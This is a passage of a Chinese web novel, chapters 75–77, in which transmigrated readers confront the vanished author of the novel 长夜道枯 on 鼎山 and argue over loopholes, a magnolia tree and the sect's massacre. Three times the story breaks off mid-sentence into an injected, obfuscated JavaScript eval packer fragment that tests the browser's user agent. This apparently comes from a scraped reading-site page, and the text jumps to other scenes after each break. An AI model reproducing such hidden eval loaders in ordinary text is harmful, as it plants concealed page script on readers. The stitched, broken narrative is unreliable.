张师铭从始至终都在祸害鼎山,齐云鲤很久以前就过来,说不定早就遇到。 他们两人遇到当然没好事,以至于现在都能大打出手。 张师铭在这里始终又吵又打,没有一个人看他顺眼。 不过想到这里卫池耳边就传来一个声音。 “张师铭人呢?”提问的是孙仲礼。 陆顷己说:“去玄镜池了,估计是要收拾东西。” 孙仲礼听完就要离开,卫池没想到他对张师铭还心存侥幸,之前都跟他说过不能信。 发现此事的卫池猛咳起来,孙仲礼听到咳嗽声就转过身来。 “你怎么了?”他十分担心。 卫池咳着说:“可能还是有点毛病。” “禁地天寒地冻,就算你是人炉也扛不住。”孙仲礼略微一叹。 卫池声音微弱:“病因不是禁地环境,是去禁地的人。” 声音虽小,孙仲礼却听得很清晰,毕竟有施法来传递信息。 这句话并没说清楚,但却点明“去禁地的人”。 在禁地外围观青滔练剑的孙仲礼很清楚,反复去禁地的人只有一个,那就是张师铭。 以前卫池说张师铭不能信,他只是没将那些话放在心上。 眼下张师铭又引起卫池咳嗽,似乎就有点可疑。 孙仲礼正准备去找他,眼下只能叫陆顷己过来看病。 他一离开卫池就不再咳,只是面色有点低沉,仿佛没好事。 陆顷己摸完脉什么也没发现,想起之前孙仲礼仿佛还有点兴奋的样子,不禁皱起眉头:“你假咳啊?” 卫池转头看过来,什么也没说。 陆顷己没计较他装病,只是说:“下次帮我带句话,只知药不知医,就是罔顾人命。” “医药”这个词其实医在前,药在后。药只是工具,医才是关键。 看病是医人,不是药人。 这话听起来意见很大,卫池就转过头:“自己去说。” “不是跟那个人说,是跟孙仲礼说。”陆顷己解释。 卫池有点犹豫:“话不能多说。” “所以要精简。”陆顷己强调。 孙仲礼看起来很好骗,稍有不慎就可能出大事。 眼下那个很好骗的人已经去玄镜池,希望不会被波及。 毕竟那边两个人说不定会大打出手。 玄镜池与禁地、白鹭坪在一条线,有明显龙息压迫,所以基本不会有人过去。 可这时却有两个人坐在池边,在石桌上摆开一堆东西。 有张师铭准备已久的,也有齐云鲤临时翻出来的。 都是寻常物件,不过此时意义非凡。 张师铭拿出的都是书籍、画册,正好与真龙相关。 “这些流传已久的东西难道都不对?”他表现得很疑惑。 两人就化龙一事讨论很久,最后各自拿出证据。 齐云鲤微微一叹:“都对,只是还不够。” “哪里不够?”张师铭相当疑惑。 “这里只有化龙之形,而没有化龙之势,只有形就不可能化龙。” “化龙不是化形?”张师铭问。 齐云鲤强调:“化龙不止化形。” 化龙之人说出这句话相当有说服力,张师铭无法反驳。 他只能问:“化龙之势是什么?” 以前孙峥湖也提过,不过张师铭没有当真。 毕竟他修为浅薄,只不过是个能化人形的狐妖。 但眼下这个青湖是化龙之人,再怎么离谱也该信。 齐云鲤摆出鼎山弟子的修炼相关书籍,其实就是课本。 因此张师铭实在看不出那跟真龙有什么关系。 “这些都跟真龙没有直接关系。”齐云鲤解释。 张师铭有点不满:“那你拿出来干什么?” 他觉得这是在炫耀,虽然这个人不是青湖,但是比她更气人。 “你可以先看看都是什么。”齐云鲤伸手示意。 张师铭打开一看,内容都很粗浅,明显是给新入门的。 最后他只能说:“……相当微不足道。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大家都穿书过来,实在意想不到。眼下处境艰难,我们还是彼此合作、共商大事。”孙仲礼赶紧说。 原本是敌对方的两人结果来自同一处。 张师铭震惊地看向那个青湖,没想到居然也是穿书者?他说怎么能跟自己打那么久。 齐云鲤也有点惊讶,想不到突然挑明身份,她原本还打算瞒下去。 “之前不清楚彼此身份,因此有所怀疑。这位是大学生,”从张师铭开始,孙仲礼伸手介绍起来,“我就是个小学生,她好像也是大学生,名字是……” 他介绍人物还有轻重之别。 眼看大事不好,齐云鲤赶紧开口:“真是出人意料,我之前就在想天下何时出现能帮真龙恢复的人。世人钻研化龙数百年,如果还有这种万中无一之人,早就真龙飞天。” 她急中生智夸了一通,另外两人都被这突如其来的夸赞震惊。 什么漂亮话也没有,却远胜那些好话。 毕竟这是突出张师铭的独特,而且条理清晰。 “现在看来,称阁下旷世奇才也不过分,”齐云鲤绞尽脑汁夸起来,“这边的人都碌碌无为,果然只有天外来客才有这个本事。” 说得像是他不与世俗同流合污,是个超凡脱俗的存在。 不过张师铭仍不怀好意:“天外来客的你化龙,天外来客的我帮真龙恢复,那么天外来客的他要干什么?” 又不是只有一个天外来客。 “大家都是天外来客,如果不清楚真相就容易出乱子,险些酿成大祸,”齐云鲤转头夸起来,“幸亏他及时出手,不然后果不堪设想。” 只要没说出名字,再多好话她也能说出来。 “……我及时吗?”孙仲礼有点不好意思。 在此之前还从没有人当面夸赞过他。 张师铭低头一叹:“再及时不过,穿书至今谁知道周围都是什么人。” 他这个态度就明显不会再动手。 不可想象的大战总算停息,孙仲礼有点高兴:“现在知道了,我们是不是要商量一下对策?” 他觉得还有更重要的事,大家都是穿书者,那么首先要保证怎么回去。 但是孙仲礼不知道这件事的前提是平安。 首先得活下来,才有资格讨论怎么回去。 而在场三人只有他一个不知道小说断更,另外两个知道的可就多了。 张师铭似乎有点苦恼:“是这个道理,不过有件事我得事先说明。” “大家都是读者,多少也能汇个总吧?”齐云鲤赶紧缓和氛围。 石月观音那边的汇总信息应有尽有,就不怕他还能胡说八道。 结果张师铭沉声说出另一件事:“唉,其实我是作者。” 75. 仇人 《长夜道枯》在连载期间很受欢迎,由于故事里未解之谜太多,读者的讨论也接连不断。 大家都在推测剧情走向,还分成几个发展方向。众人信心满满,都在等真相大白。 不过剧情走向谁也没料到,因为鼎山灭门,小说断更,作者失踪。 ——好端端的场子突然被砸得稀巴烂。 当时全网炸开花,就像大家都签字画押,结果有人把文书撕了。 所有人又是气又是恨,既有人讨论后续剧情,也有人查找作者住址。 声势浩大到仿佛第二天就能水落石出。 不过两三个月也没有任何结果,讨论剧情的吵起来,查找住址的杳无音讯。 充满热情的读者越来越少,谁也不知道怎么回事。 大家的耐心慢慢耗尽,最后只留下一句话——恨他就请他看《长夜道枯》。 网上对这本书的情绪只有悔恨,谁也没想到还会有穿书后续。 有这种往事,张师铭的态度还算合理。 但齐云鲤知道石月观音气成什么样,所以觉得他只是假模假样。 而且这东西就不是他的,一个偷东西的还在这里假仁假义。 只是这件事过于严重,就没必要说出口。 但孙仲礼不知道小说断更,因此不明白他为什么愧疚。 那个小说很受欢迎,难道不是好事? 他天真地称赞:“垂头丧气干什么,你写的很好啊。” 这个表态过于阳光明媚,另外两人都有点震惊。 齐云鲤更是觉得会被趁虚而入。 虽然张师铭亲口承认,但什么证据也没有,不能证明他就是作者。 即使小说作者已经声名狼藉,但这个身份也有好处。 “你要怎么证明?”她只能赶紧问。 从某种意义上来说,也就是张师铭得证明自己有罪。 虽然孙仲礼不计较,但看完连载内容的人不计其数。 张师铭当然知道有严重后果,但是不点明身份就无法拿到主动权。 于是他说出关键:“止水宗到处抓人炉,其实是因为他们老大就是人炉。” “啊,黄云曳是人炉?”孙仲礼相当惊讶。 止水宗抓人炉可谓世人皆知,但谁也没想到人炉竟然掌管止水宗。 人炉可是跟止水宗有深仇大恨,结果还沆瀣一气? 此事远超孙仲礼理解能力,他实在想不到还有这种事。 “抓人炉其实是要掩盖他的人炉身份。”张师铭低头一叹。 齐云鲤曾经听菩提慧海说过此事,不过背后原因确实难以捉摸。 既然作者亲口承认,那就问个清楚。 于是她问:“怎么掩盖?” “人炉会不经意间吸引龙息,如果没有其他人炉,止水宗龙息就无法解释。” 这个解释还算通俗易懂,不过齐云鲤问:“仅此而已?” “人炉之间可以互相传递功法,他在止水宗的功法也就源源不断。”张师铭说出一件不为人知的事。 “不用炼化也能获得功法?”齐云鲤很奇怪。 “人炉本来就互通有无,炼化只是外人必须的手段。” 这就相当稀奇,类似人炉共用一个功法仓库。 只要你是人炉,就能从里面拿走其他人的功法,而且没人计较。 感觉比起掩盖身份,还是获取功法更重要。 毕竟止水宗相当看中功法,功法多少决定地位。 黄云曳身为止水宗老大,自然需要源源不断的功法,不然就会丧失地位。 齐云鲤还是难以想象:“那么多人炉怎么就帮他一个?” “因为都打不过他。”张师铭摇头。 齐云鲤问:“也就是强者的优势持续不断?” “差不多吧,反正人炉都得听黄云曳的。” 人炉共用一个仓库,掌管仓库的是最厉害的人,也就是说他们有共同目的。 齐云鲤问:“如果有人炉打败黄云曳,是不是就占据优势?” ——占据优势就能获得功法。 一旦成真,功法再怎么稀少也能得到补充。 这个问题指向很明确,能打败黄云曳的人炉自然是鼎山人炉。 ——鼎山人炉功法稀少。 “以前打过,他没赢。”张师铭只是说。 小说主角被止水宗不断折磨,打来打去也没有分出胜负。 齐云鲤说:“也许以后能赢呢。” 从字面意义上来说,这只是单纯的希望。 但鼎山灭门之前那两人再也没见过,如果有以后那就是说鼎山不会灭门。 张师铭当然明白这个意思,鼎山不会灭门,也就是说他必然失败。 所以他没说话,齐云鲤也没说话,两个人只是静静看着对方。 这一刻他们仿佛是在赌鼎山是否会灭门。 一无所知的孙仲礼说:“小说男主成长迅速,下次肯定能打败黄云曳。” 他的话轻易就打破短暂杀机。 张师铭微微一愣,就听到耳边传来很轻的声音:“他看的不多。” 所以才会自然而然提起“下次”。 如果是连载追更的读者,说不定觉得齐云鲤阴阳怪气,已经打起来。 ——但孙仲礼显然不知道鼎山灭门。 之前张师铭始终担心作者身份暴露,会不会被一顿打。 现在发现担心都是多余的。 既然不知道后续剧情以及小说断更,那就没必要多说。 那个青湖知道得再多,想必也不会告诉孙仲礼。 既然如此那么能说的就很多。 “也不知道怎么会穿书,总感觉都是我的错。”张师铭一声长叹。 孙仲礼赶紧劝:“怎么会?这片天地是因为你才存在的。” “不过再怎么样,能做的也有限。”张师铭摇头叹息。 孙仲礼说:“只有你才能帮化龙之人恢复人形,我们三个能在此相聚,全靠你的本事!” 齐云鲤被这一真一假的对话弄得哑口无言。 再不出手,偷东西的就要占上风了! “小说里有很多伏笔,如果能利用那些东西,或许能回到现实世界。” 齐云鲤瞬间转移话题,将伤春悲秋变成货真价实。 其实这是孙仲礼的初衷,共商大事才是重点。 “是的,在这边呆了好几年也不知道怎么回去。”他也跟着转移话题。 再怎么情感细腻,也得面对现实问题。 有利局面转瞬即逝,张师铭又是一叹:“我试过很多方法,都徒劳无功。” 他想把这条路堵死,但齐云鲤是开路高手,她顺势问出一个问题。 “鼎山掌门真的救过你吗?” 这是张师铭留在鼎山的理由之一,如果虚无缥缈就不用再管他。 毕竟鼎山就不是外人能随便进出之地。 没有充分理由,不可能擅自进入鼎山。 张师铭回答得有点勉强:“算是救过吧……” ——也就意味着形式上有,实际上没有。 齐云鲤皱起眉头,鼎山掌门神出鬼没,救个祸害不知道图什么。 他坑了小说就过来害人,还让鼎山不断灭门。 “那些伏笔是不是能帮我们回去?”孙仲礼有点兴奋。 张师铭哀叹:“伏笔都没揭晓……” “对读者来说那是伏笔,你是作者,自然知道背后的秘密。”齐云鲤点明。 “……真相大揭秘吗?” “作者揭秘真相,拯救读者!”孙仲礼明显高兴起来。 之前卫池说过的话,他一时全都忘记。 以前所有人都在欺负他,现在有鼎山弟子帮忙,还有同为穿书者的两人。那自然再好不过,再也不会出现曾经的凄惨景象。 张师铭在这个氛围下说:“漏洞太多,是时候修补了。” “漏洞不是问题,人才是关键。”齐云鲤说出元真的观点。 虽然当时大吵一架,但是现在发现她说的才对。 如果人不关键,那么自己在千溪镇就不可能化龙。 “这边的人有什么用?”张师铭很疑惑。 在自己看来天下人都是蝼蚁草芥,完全不能撼动高塔,让他们活着就已经慈悲至极。 齐云鲤说:“如果没用,我怎么会化龙?” 化龙乃前所未有之事,按理来说没有充分准备绝不可能成功。 张师铭完全想不通:“你化龙跟他们有什么关系?” “怎么没关系,我就是在千溪镇化龙。”齐云鲤说得很简单。 千溪镇没有龙息却能化龙,这就是关键。 但张师铭并不认同:“你在深山老林化龙也一样。” 这话就是把千溪镇和深山老林归为一类。 一个地方人很多,一个地方人迹罕至,但是都没必要关注。 因为二者全普通得修道人士不想踏足。 平平无奇的地方就没必要再过去。 眼看那两个人又要吵起来,孙仲礼只能赶紧说:“这个不是关键,重点是要揭秘真相。” “漏洞太多,要想办法弥补。”张师铭说。 齐云鲤强调:“漏洞不是问题,人才是问题。” “要注意漏洞。” “要注意人。” ——这是截然相反的态度。 说两句又要吵起来,孙仲礼无可奈何站在中间,伸手将他们隔开。 “好啦,我们回去想一下再说,现在不急。” “最大的漏洞就在鼎山。” “照这么说鼎山弟子还不可战胜!” 在九炼洞窟吵三年,齐云鲤也没碰到这么棘手的麻烦。 毕竟没人图谋不轨、包藏祸心。 张师铭对孙仲礼说:“这边的人不可靠,所以只能靠你。” “最不可靠的就是你!”齐云鲤气得都要打人。 她曾经跟元真吵过漏洞和人,那时感觉吵得不可开交。 现在对比才发现实在是小儿科。 毕竟那只是单纯的观点争论,而张师铭还别有用心。 “那我能弥补漏洞吗?”孙仲礼轻易就被说服。 齐云鲤急得只能大喊:“我就是漏洞,有本事就解决我!” 她吼这一嗓子,四周顿时鸦雀无声,原本还有些鸟叫虫鸣。 “不要激动,”张师铭施法让她声音不能外传,然后说,“飞泉院的玉兰树在小说里不存在,说不定你也能种一棵树。” “我不会种树。”孙仲礼羞愧地低下头。 张师铭循循善诱:“不会种,可以学。” “我看你是想把那棵树砍了!”齐云鲤破除静音术法,一拳打过来。 张师铭施法布阵挡住攻击,只是问:“难道那棵树是你种的?” “不是我种的也不能砍!”齐云鲤也不知道自己在气什么。 只是感觉那棵玉兰树不能动。 那两人一个打一个躲,虽然没造成损伤,但基本已经无法控制。 孙仲礼只能叹息:“没人砍树,不要激动,今天就到这里吧。” 他将齐云鲤往玄镜池外推,张师铭就走回木屋收拾行李。 一走出玄镜池,齐云鲤就冷静下来。 回想刚才发生的事,自己完全不会脾气暴躁成那样。 在九炼洞窟跟人吵三年她也没动手,看来是张师铭有意为之。 他先去玄镜池设好埋伏,等自己上钩。 齐云鲤完全没料到还有这一招,所以中计。 那人正事不干,尽干歪门邪道的事。 让他有机可趁,也是自己粗心大意。 齐云鲤烦了很久,快到半山腰才问:“小说里飞泉院没有玉兰树?” 石月观音说那里不是养花种草之地,可她自然而然就接受那棵树,仿佛顺理成章。 之前张师铭说玉兰树有问题,她莫名其妙就气得不行。 虽然是刻意为之,但那种手段只能由小变大,不可能从无到有。 ——因此感觉那个玉兰树相当关键。 破庙外有白玉兰,幽冥大帝阵法上有玉兰花印记,说不定都与此有关。 “小说里飞泉院很荒凉,现在绿树成荫简直不敢想象。”孙仲礼客气评价。 齐云鲤问:“你觉得这个变化没有危害鼎山是不是?” “当然没有啊?”孙仲礼有些疑惑,不过见她冷静下来就安心不少。 “这种变化超出作者所能,而且没有害,”齐云鲤选出一种合适的表达方式,“作者穿书进来,也就不可能继续写小说。如今这地方只是看起来像小说,并非完全一致,有很多稀奇古怪之处,究竟是哪里谁也不能确定。” 她最后说:“如果轻信作者的片面之词,可能酿成大错。” 这让孙仲礼想起卫池的话,他说张师铭不可信,齐云鲤又说作者不可信,那么到底该信谁的? 他也想不通太复杂的事。 “漏洞确实存在,但是怎么对待才是重点,”齐云鲤见他迷惑起来就解释,“关键不是漏洞,而是处理漏洞的人。” 漏洞和人其实就是之前她跟张师铭的争吵内容。 “漏洞万一不可挽回呢?”孙仲礼问。 “天下漏洞千千万万,又不是生灵涂炭,没有活路,”齐云鲤举例说明,“两个地方都有漏洞,为什么只有一处问题很大?” 孙仲礼想了想,只能说:“因为人不一样?” “只要人有所行动,就会产生相应结果,一连串合理结果就能弥补漏洞,”齐云鲤无奈说明,“漏洞是死的人是活的,那么人就能想出办法修补漏洞。” 虽然已经够简单易懂,不过孙仲礼还是很迷茫。 “有点想不通……”他小声说。 齐云鲤换了一种表达方式:“逃得再远问题也还在,所以不能逃避问题,而是要解决问题。” 始终强调问题,就是忽略解决问题的方法。 关键不在问题,而在解决问题。 有时候别人一直在说问题很严重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过我也发现点东西,”齐云鲤说得很郑重,“他觉得天下人都没用,包括鼎山弟子。” “有直接证据吗?”罗白音皱起眉头。 “他说天下人既没用又不可靠。” 这是一种相当无情的评价,对天下苍生如此,对张师铭也是如此。 他觉得命如蝼蚁,人如草芥,却不知道天地不仁,以万物而刍狗。 因此那个人最多也只是蝼蚁草芥。 而且众人拾柴火焰高,他却不屑与别人为伍。 没人能理解他在干什么,他也别想知道其他人能干出什么。 罗白音觉得既然他让人不可捉摸,那他也只能一无所知。 “你打赢了吗?”她问。 齐云鲤摇摇头:“根本就没打到……” “那你怎么发现的?”罗白音很奇怪。 齐云鲤低头一叹:“离开玄镜池我就冷静下来。” 虽然人会受到环境影响,但按理来说不会影响这么大。 因此只可能是有人动了手脚。 “之后要冬青把那边检查一遍,谁知道还藏着什么。” “其他地方可能也有类似布局。” “那就把鼎山上下都查一遍。” 罗白音说到这里就不再管这件事,低头画起符咒。 那些错综复杂的图形和符号齐云鲤也看不懂,于是就走出房门,来到院子里的玉兰树下。 之前发现树干上有痕迹,齐云鲤不知道还有谁敢动这棵树。 这时走过去一看,才发现是类似术法攻击的外伤。 可飞泉院是鼎山重地,谁还敢来挑事? 齐云鲤突然想起鼎山灭门惨案,鼎山从上到下沿途都尸骸遍野,最后停在飞泉院。难道这棵树也经历过那时的血战? 想到这里,她就伸手去触摸树干上的痕迹。 一碰到那些凹凸不平的地方,眼前就骤然一变。 四周都黑漆漆的,能闻到很大血腥味,不远处传来打斗声,貌似有人在抵挡什么。 齐云鲤明白这就是鼎山灭门惨案现场。 这是曾经的景象,然而当循声看过去时,却看到一张熟悉的脸,那就是她自己。 那是齐云鲤本身的长相,不过还能透过人影看到背后夜色,所以是魂魄,不是活人。 那时她很好奇地张望四周,不过看来看去也没有发现,于是问:“到底谁干的啊?” “谁干的你都管不了。”旁边传来一个女声。 齐云鲤闻声看过去,发现那是元真。她的人影是半透明状态,所以也是魂魄。 她大大的眼睛并不可爱,只是似乎能看穿一切。 眼下正在发生鼎山灭门惨案,身为读者她们实在不知道怎么回事,因此赶过来一探究竟。 曾经大吵一架的两人,此时没有任何矛盾。 那个齐云鲤只是问:“那你身为幽冥大帝总该管得了吧?” “我只能管死人,你得管活人。”元真说出答案。 冥帝庙里的雕像有两座,一个幽冥大帝一个云玑子。 幽冥大帝是元真,云玑子是齐云鲤。 不过一生一死的分工,仿佛也揭示了她们接下来的命运。 谈话间远处出现惊天雷廷,电闪雷鸣、轰然不绝。打雷的地方是禁地,其他穿书者正在那边。 “……那里怎么会打雷?” 鼎山山势较高,风雨雷电只出现在中下部。禁地地势最高,终年冰雪,没有任何天气变化。 元真回头一看,沉声说:“天雷过来了。” 天雷并不停留于禁地,而是一路劈向飞泉院,此时周围刀光剑影都不如那从天而降的惊雷吓人。 ——毕竟这绝不可能是自然现象。 两人知道跑也没用,因此依然停在原地。 “唉,就这样吧。”那个齐云鲤叹了一口气。 元真眉头一拧,在惊雷落下来时将她推开,自己承受所有雷电。 即使雷霆再大,也只能在她那里耗尽。 那个齐云鲤被推开时,恰好卫池冲到飞泉院外,然后掏出人炉之火。 天雷余威扫过来时,人炉之火虽然不能彻底与之对抗,但也使其减轻。毕竟人炉之火可以炼化雷电。 残余天雷劈中卫池右手,也击中齐云鲤。 虽然身受重伤,但禁地那边的穿书者和这边的元真基本已经烟消云散。 那个齐云鲤落在飞泉院里,而她身后就有一棵玉兰树,树干上的痕迹就是天雷余威。 不远处站着个面具人,他低声一叹:“来了这么多人啊。” 齐云鲤一愣,这就是张师铭的声音。 他不仅小说断更,让鼎山灭门,还杀死元真。 好不容易和好,结果他又来一招。 之前激动成那样是因为中计,可最初是因为仇人相见分外眼红。 76. 同路人 曾经两人的争执源于《长夜道枯》。 小说还没声名鹊起时,齐云鲤就偶然听人说起那个世界观,虽然其他部分一无所知,但天地构成相当熟悉。 出于好奇她去网上找出那篇小说,结果发现跟自己的想法很相似。 因此齐云鲤就看进去,还把元真也叫来一起看。 两人的讨论基本都围绕世界观,她们觉得应该这样,但剧情发展成那样,因此在看的时候相当困惑。 到鼎山灭门时小说断更,她们实在想不通,如论如何都不至于有那个结果。 穿书过来两人又是惊喜又是困惑,怎么都看不出来灭门惨案迹象。 随着时间流逝,她们掌握的线索逐渐增加,随后两人对此进行一次讨论。 齐云鲤认为是漏洞问题,元真认为是人的问题。 两人都坚持各自观点,因此大吵一架。 不过这只是单纯的观点不同,两人立场还是一致。 因此鼎山灭门,发现还有一群穿书者魂魄后,她们便联手打造那座破庙。 雕像是齐云鲤做的,玉兰是元真种的。 虽然吵得不可开交,但她们始终在一条路上。 好几个轮回之后她们发现鼎山禁地可以打开一扇门,门后是现实世界。 穿书至今没一件好事,总算可以脱离苦海。 于是众人共同前往鼎山禁地,这时正是龙骨论战前一天,齐云鲤和元真对鼎山灭门相当好奇,因此中途跑过去一探究竟。 不过禁地降下惊天雷霆,还一路移动到飞泉院。 原本看到尸骸遍野齐云鲤就无法接受,结果天雷劈来,下一个死的就是她。 千钧一发之际元真挡住所有雷霆,卫池用人炉之火抵挡天雷余威。 齐云鲤这才没有烟消云散。 虽然那时情况恶劣,没能留意周遭,但这时的齐云鲤从幻境里看见面具人。 面具跟之前打她的面具人一模一样,声音也跟张师铭一模一样。 张师铭盗取她的构思,再让鼎山灭门,最后杀死元真。 种种迹象表明他就是罪魁祸首。 而且元真是幽冥大帝的话,难道禁地阵法由她铺设? 不过虽然当时准备从禁地离开,但元真功法已经所剩无几,没有余力再去铺设阵法。 禁地阵法跟幽冥大帝有关,莫非也与元真有关? 齐云鲤实在想不通,只能去鼎山禁地一探究竟。 飞泉院离禁地不远,她很快就走进雪地。不过在那里还看见一个人,那是卫池,他似乎在检查地上白雪。 小说男主始终低调行事,从不张牙舞爪,但一直有要命的事找过去。 卫池的经历更加险恶,面具人很早就杀死他父母,还在鼎山时就接连不断打他,完全没把他当人看。 种种险恶说明还能活到今天也不容易。 重点是在那个轮回里,最终是他用人炉之火救下齐云鲤。 即使有元真抵挡雷霆,天雷余威仍可以将她致于死地。只有在千钧一发之际用人炉之火炼化雷霆,才能减轻伤害。 齐云鲤这才幸存至今。 之前为了救他齐云鲤被青湖所杀,不过之后是卫池舍命相救。 虽然这次轮回一开始就稀奇古怪,两人有诸多争执。不过事到如今发现张师铭才是罪魁祸首,那就联手消灾就行。 也没必要再惦记之前吵过什么。 “你在干什么?”想通这件事齐云鲤就走过去问。 她的态度过于顺其自然,似乎不需要任何解释。 这句话实在出乎卫池所料,但是又顺理成章,两人再多争吵都是徒劳,只有解决张师铭才至关重要。 昔日吵来吵去只不过是热身,如今真正棘手的对象出现,就要目标一致。 他只是觉得齐云鲤真是宽宏大量。 卫池没有抬头,摸着地上的雪说:“这里有点奇怪,似乎被动了手脚。” 能在禁地动手脚的,随便一想就知道是谁。 “他动了不少手脚,之前我还中招。”齐云鲤没有质疑这个说法。 这种态度前所未有,卫池疑惑转头,见她身上并无伤势,才迟疑着问:“你中了什么招?” “我在玄镜池出手打他,半天也没打到,孙仲礼看了全过程。”齐云鲤轻描淡写。 在玄镜池动手,旁边还有孙仲礼,这可不是小事。 二者都非比寻常,但是她一副无事发生的模样,卫池也不好再担心什么。 之前孙仲礼要去玄镜池找张师铭,之后她跟张师铭在玄镜池打起来。 “没打到他?”卫池只能问。 “谁都没打到,”齐云鲤知道有什么疑虑,就说,“不过他被骗了。” 卫池很早以前就发现交换魂魄之人,势必会担心。 眼下孙仲礼虽然没被打,但是被骗。 “被骗什么?”卫池很疑惑。 他不知道孙仲礼的来历,因此不明白还能怎么骗人。 齐云鲤说:“骗他众人碌碌无为,只有他才靠谱。” 这是相当虚无缥缈的说法,基本不会有人信。 不过若对方是个穿书的小学生就有可能中计,毕竟年少无知,不清楚人心险恶。 身为作者的穿书者其实最危险,毕竟其他人死伤无数,他却若无其事。 “他还会信这种事?”卫池有点不可思议。 经历千难万险的他只会由此想到好话说尽,坏事做绝。 齐云鲤无奈地说:“那边说解决漏洞只能靠他。” “……这也信?” 此事过于匪夷所思,卫池都不敢相信。 即使孙仲礼还没超过十二岁,也不至于如此天真吧? 他不知道世上还有温室花朵一样的人,即使一路不顺,也觉得头顶还有遮阳挡雨的棚子。 齐云鲤只能叹息:“我跟他说关键在人不在漏洞,他还是觉得漏洞更简单。” 穿书凶险至今,她实在没法再寄希望于其他事物。 指望外界环境良好,可能都不知道自己怎么死的。 “看起来简单的东西其实最复杂。”卫池略有感慨。 事物看起来简单,但周遭还有一系列东西。 以为那个简单就可以事半功倍,其实是没看清四周联系。 这种事对小学生来说,太过错综复杂。 齐云鲤无奈摇头:“那你去跟他说吧,我劝不动。” 只言片语无法让孙仲礼信服,或许小说主角的身份能让他听进去一点。 毕竟对面是小说作者,或许只有小说主角才能对抗。 卫池不知道小说的事,因此很奇怪:“我说的他会听?” “也许只有你说的,他才会听。”齐云鲤强调。 小说主角一生历尽坎坷,有些话只有他说才合理。 同样的话由旁人来说,别人只会觉得你有病。 而且孙仲礼以前被人欺负,估计觉得跟卫池有共同点。 同为穿书者还是比不过同样被人欺负,毕竟有些事只有他们能感同身受。 齐云鲤不知道卫池能否说通,反正她能做的准备也只有秘境。 九炼洞窟那五人虽是幼儿心智,但相关经验丰富,秘境肯定不会有问题。 曾经觉得小说剧情不合理,主角待遇不公平,所以齐云鲤出手帮忙。 即使又吵又打又死,但一切都是值得的。 如果曾经不帮他,那么现在谁来帮自己? 想到这里,齐云鲤弯腰摸到地上的雪:“这有什么奇怪的?” 禁地的雪铺天盖地,实在看不出异常。 估计也只有经历很多个轮回的卫池才能看出问题。 这地方要是奇怪,事情也许有点严重。 仙子林一事过后,卫池就明白有些事齐云鲤也知道。 于是他说:“这里有过去、现在的雪。” “怎么会这样?”齐云鲤相当疑惑地转头。 “过去、现在”主要是指轮回,上一个轮回和这一个轮回没有泾渭分明。 按理来说不会发生这种事,除非…… “可能天地气力快要耗尽,所以曾经和现在混杂在一起。” 轮回起源于卫池,天地气力耗尽就说明他也精疲力竭。 小说主角的遭遇相当凄惨,不过再惨也惨不过卫池。 轮回近百次,他的经历也没有好转,甚至还在恶化。 齐云鲤原本是想查明禁地阵法的出处,不过事已至此就不用再查。 ——都要毁天灭地,查了也白查。 既然卫池能从这边看出端倪,石月观音在破庙也能知道一些事。 双方汇总也许就能把握时机,确保何时急何时迟的分寸,或许能在千钧一发之际力挽狂澜。 “这里有过去、现在的雪,也许还会有未来的雪。”齐云鲤猜测。 这句话相当虚无缥缈,常人根本不可能明白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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石月观音很高兴,以为她是来给自己龙息,虽然什么也没解决,但总好过一死了之。 不过齐云鲤没有拿出龙息,而是说:“带你出去见个人,以后填坑的事你也要负责。” 之前从没人提过这种事。 “怎么还有我的事?”石月观音无法理解。 齐云鲤强调:“作者那种丧尽天良的人,身为读者绝不能放过。” 说到小说作者,石月观音就怒气冲冲,那种丧心病狂的家伙恨不得亲自给他两拳。虽然什么也做不了,不过打人还是没问题。 “那是要去见谁?” 齐云鲤大致介绍:“小说主角。” “卫长夜!”石月观音有些惊喜,毕竟是救命恩人。 齐云鲤皱起眉头:“他改名叫卫池,别叫错了。” 石月观音也不能有意见,只能闭嘴。 齐云鲤指示:“别让他知道这是一本小说。” “那要怎么说?”石月观音问。 “就说你出自天地造化,反正有龙息化身,这也没什么稀奇。” “这就是骗人。”石月观音有点不满。 齐云鲤对此毫不介意,反正也不是干坏事。 “他发现禁地的雪来自过去和现在,你就让他知道还能出自未来。” “还有这种事?”石月观音很不可思议。 “现在是关键时刻,稍有不慎就满盘皆输。” 风险大才显得至关重要。 发现自己背负开创未来的使命,石月观音瞬间思路清晰。 “一定要赢吗?” “绝对不能输。”齐云鲤看着窗外白玉兰,说出郑重承诺。 破庙和飞泉院的玉兰都出自元真,那么她就不能让这个花枯萎。 两人商量好计划,石月观音就跟着来到鼎山禁地。 齐云鲤还在原地打坐,身后就出现一个菩萨打扮的女子。她看到卫池很高兴,开心打招呼。 虽然之前在千溪镇石月观音凭空出现,但现在是获得邀请才到达此地,顿时就感觉有点不一样。 以前听人说齐云鲤是希望,她还不信。 现在看来再准确不过。 77. 战前讨论 穿书者虽然人数不少,但是力量被剥夺,相当虚弱。 最初发现此事的齐云鲤和元真就合力打造一个秘境,里面有破庙和白玉兰。 虽然她们都只剩魂魄,但齐云鲤中途被截杀,元真后期作为幽冥大帝在世间留下不少雕像,每日都有很多香火,因此两人力量充沛。 用来保命的秘境出现,穿书者合用一个雕像当肉身,也就暂时稳定下来。 即使之后在禁地被雷劈,也还能留下一口气告知后人关键。 好不容易就要回去,结果被人中途截杀。 杀人凶手还不放过鼎山,要将所有人赶尽杀绝。 石月观音并不清楚曾经的事,只是略有耳闻。 